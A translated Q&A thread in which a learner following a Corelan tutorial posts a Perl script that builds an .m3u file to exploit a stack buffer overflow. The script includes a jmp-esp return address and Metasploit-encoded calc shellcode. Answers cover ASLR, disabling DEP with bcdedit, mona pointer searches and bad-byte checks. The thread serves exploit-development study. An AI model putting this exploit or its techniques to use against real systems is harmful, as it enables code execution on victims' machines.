Разработка эксплойтов — шеллкод не работает?

Я следую corelan .be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/, чтобы воспроизвести эксплойт.

Во-первых, я обнаружил, что позиция EIP была после 26089 As (в 0016F454), а ESP была через 4 символа после EIP (в 0016F45C) в соответствии со следующим кодом:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Результаты: i.stack.imgur.com/LmPG8.png

Я нахожу указатель на инструкцию jmp-esp по !mona find -type instr -s "jmp esp" -x X. Я использую 0x7457AC5B один.

Результаты: http://i.stack.imgur.com/iUoVY.png

Я тщательно сделал все выглядело рабочим. Завершенный код:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Окончательные результаты: http://i.stack.imgur.com/JSwKt.png

Это просто не работает! Я считаю, что мой EIP и позиция шеллкода верны, поэтому проблема может заключаться в эффективности шеллкода. Я пробовал шелл-коды для запуска calc.exe с другого сайта, но ничего не сработало.

Почему это не работает? Я использую Windows 10 x64. Пожалуйста, помогите мне, так как я застрял на этом в течение нескольких недель, и я внимательно изучил статьи о подобных проблемах в Интернете. Я действительно понятия не имею.

Заранее спасибо.


person aheh    schedule 06.11.2015    source источник


Ответы (2)


  • Целевая ОС:
    Осторожно! ==> ASLR! !!
    В учебнике целью является "Windows XP SP3 (En)", и он тестировал на "Windows XP [Версия 5.1.2600]". em>.
    В комментариях есть положительные отзывы о процедуре, работающей на "Win7 Prof Ver 6.1.7600 English" с ASLR даже после перезагрузки. И вы тестируете Windows 10, очевидно, с ASLR.
  • Надежность на платформах Windows:
    Подтверждаю! Вы действительно контролируете EIP 0016F454 (мы видим "DDDD"), ESP указывает на 0016F45C(шеллкод).
    Пробовали ли вы другие инструкции? (jmp, call или push-ret).
    Вы использовали 0x7457AC5B ==> "jmp-esp" в cfgmgr32.dll.
    Пробовали ли вы 0x035bf23a ==> "jmp-esp" в MSRMCcodec02.dll?
  • Попробуйте найти надежные указатели:
    pvefindaddr j -r esp -n -o (Immunity Debugger или что-то в этом роде). И всегда лучше избегать "SafeSEH" и "ASLR".
person Seb B.    schedule 06.11.2015
comment
Спасибо! Теперь я понимаю, адрес указателя на инструкцию esp переменный. Я использую !mona find -type instr -s "jmp esp" -x X -cm aslr=false, чтобы найти адрес каждый раз, когда программа запускается (когда появляется пользовательский интерфейс программы, которую можно использовать), а затем использую этот адрес в моем коде Perl для генерации шелл-кода (так что указатель EIP ДОЛЖЕН работать). Но безрезультатно Показывает access violation when executing [7C862AED] в котором 7c862aed это 20-23 символы моего шеллкода запуска calc. Итак, проблема в шелл-коде. Должен ли я сам генерировать шелл-код, порождающий calc.exe для Win10 x64? Как? - person aheh; 07.11.2015
comment
Пробовали ли вы использовать DEP отключено? bcdedit.exe /set nx optin или bcdedit.exe /set nx AlwaysOff. С AllwaysOff вам может потребоваться отключить безопасную загрузку. С optin вы должны использовать указатели из компонентов эксплуатируемой программы. - person Seb B.; 07.11.2015

Вы проверяли наличие битых байтов? Довольно часто определенные байты используются синтаксическими анализаторами файлов в качестве магических маркеров и могут привести к тому, что ваш шелл-код не будет скопирован полностью или преобразован в поврежденный шелл-код. Вы можете использовать функцию байтового массива mona, чтобы помочь вам идентифицировать плохие байты (https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)

person wireghoul    schedule 08.11.2015
comment
Спасибо за совет. Но после того, как я тщательно проверил это, все символы, кроме NULL, не являются плохими байтами. - person aheh; 09.11.2015